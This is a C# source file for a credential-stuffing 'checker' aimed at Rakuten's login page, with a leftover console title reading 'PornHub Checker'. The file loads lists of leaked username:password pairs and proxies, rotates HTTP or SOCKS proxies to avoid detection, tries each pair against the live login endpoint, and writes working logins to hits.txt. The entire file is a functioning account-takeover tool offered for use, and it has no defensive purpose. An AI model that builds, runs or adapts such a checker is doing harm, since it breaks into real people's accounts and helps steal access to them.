using Leaf.xNet;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Threading;

namespace rakuten
{
    internal class CheckerHelper
    {
        public static int total;

        public static int bad = 0;

        public static int hits = 0;

        public static int err = 0;

        public static int check = 0;

        public static int accindex = 0;

        public static List<string> proxies = new List<string>();

        public static string proxytype = "";

        public static int proxyindex = 0;

        public static int proxytotal = 0;

        public static int stop = 0;

        public static List<string> accounts = new List<string>();

        public static int CPM = 0;

        public static int CPM_aux = 0;

        public static int threads;

        public static void LoadCombos(string fileName)
        {
            using (FileStream fileStream = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
            {
                using (BufferedStream bufferedStream = new BufferedStream(fileStream))
                {
                    using (StreamReader streamReader = new StreamReader(bufferedStream))
                    {
                        while (streamReader.ReadLine() != null)
                        {
                            CheckerHelper.total++;
                        }
                    }
                }
            }
        }

        public static void LoadProxies(string fileName)
        {
            using (FileStream fileStream = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
            {
                using (BufferedStream bufferedStream = new BufferedStream(fileStream))
                {
                    using (StreamReader streamReader = new StreamReader(bufferedStream))
                    {
                        while (streamReader.ReadLine() != null)
                        {
                            CheckerHelper.proxytotal++;
                        }
                    }
                }
            }
        }

        public static void UpdateTitle()
        {
            for (; ; )
            {
                CheckerHelper.CPM = CheckerHelper.CPM_aux;
                CheckerHelper.CPM_aux = 0;
                Colorful.Console.Title = string.Format("[PornHub Checker] | Checked: {0}/{1} | Hits: {2} | Bad: {3} | Errors: {4} | CPM: ", new object[]
                {
                        CheckerHelper.check,
                        CheckerHelper.total,
                        CheckerHelper.hits,
                        CheckerHelper.bad,
                        CheckerHelper.err
                }) + CheckerHelper.CPM * 60 + " | by dark#5000";
                Thread.Sleep(1000);
            }
        }

        public static void Check()
        {
            for (; ; )
            {
                if (CheckerHelper.proxyindex > CheckerHelper.proxies.Count<string>() - 2)
                {
                    CheckerHelper.proxyindex = 0;
                }

                try
                {
                    Interlocked.Increment(ref CheckerHelper.proxyindex);
                    using (HttpRequest req = new HttpRequest())
                    {
                        if (CheckerHelper.accindex >= CheckerHelper.accounts.Count<string>())
                        {
                            CheckerHelper.stop++;
                            break;
                        }
                        Interlocked.Increment(ref CheckerHelper.accindex);
                        string[] array = CheckerHelper.accounts[CheckerHelper.accindex].Split(new char[]
                        {
                            ':',
                            ';',
                            '|'
                        });
                        string text = array[0] + ":" + array[1];
                        try
                        {
                            if (CheckerHelper.proxytype == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                            }
                            if (CheckerHelper.proxytype == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                            }
                            if (CheckerHelper.proxytype == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                            }
                            if (CheckerHelper.proxytype == "NO")
                            {
                                req.Proxy = null;
                            }
                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36";
                            req.KeepAlive = true;
                            req.IgnoreProtocolErrors = true;
                            req.ConnectTimeout = 5000;
                            req.Cookies = null;
                            req.UseCookies = true;

                            string get = req.Get("https://grp01.id.rakuten.co.jp/rms/nid/login?", null).ToString();
                            string str2 = "&u="+array[0] + "&p=" + array[1] ;
                            string str3 = req.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", str2).ToString();

                            if (str3.Contains(":\"1\",\"remember"))
                            {
                                CheckerHelper.CPM_aux++;
                                CheckerHelper.check++;
                                CheckerHelper.hits++;
                                Colorful.Console.WriteLine("[GOOD] " + text, Color.DarkGreen);
                                CheckerHelper.SaveData(text);
                            }
                            else if (str3.Contains("Invalid username"))
                            {
                                CheckerHelper.CPM_aux++;
                                CheckerHelper.check++;
                                CheckerHelper.bad++;
                                Colorful.Console.WriteLine("[BAD] " + text, Color.DarkRed);
                            }
                            else
                            {
                                CheckerHelper.accounts.Add(text);
                            }

                        }
                        catch (System.IO.FileNotFoundException)
                        {
                            Console.WriteLine("nofile");
                        }
                    }
                    continue;
                }
                catch
                {
                    Interlocked.Increment(ref CheckerHelper.err);
                }
            }
        }

        public static void SaveData(string account)
        {
            try
            {
                using (StreamWriter sw = File.AppendText("hits.txt"))
                {
                    sw.WriteLine("--------------------| Creditentials |------------------------");
                    sw.WriteLine("- Login: " + account);
                    sw.WriteLine("-------------------------------------------------------------");
                    sw.WriteLine();
                }
            }
            catch
            {

            }
        }

        private static string Parse(string source, string left, string right)
        {
            return source.Split(new string[1] { left }, StringSplitOptions.None)[1].Split(new string[1]
            {
                right
            }, StringSplitOptions.None)[0];
        }
    }
}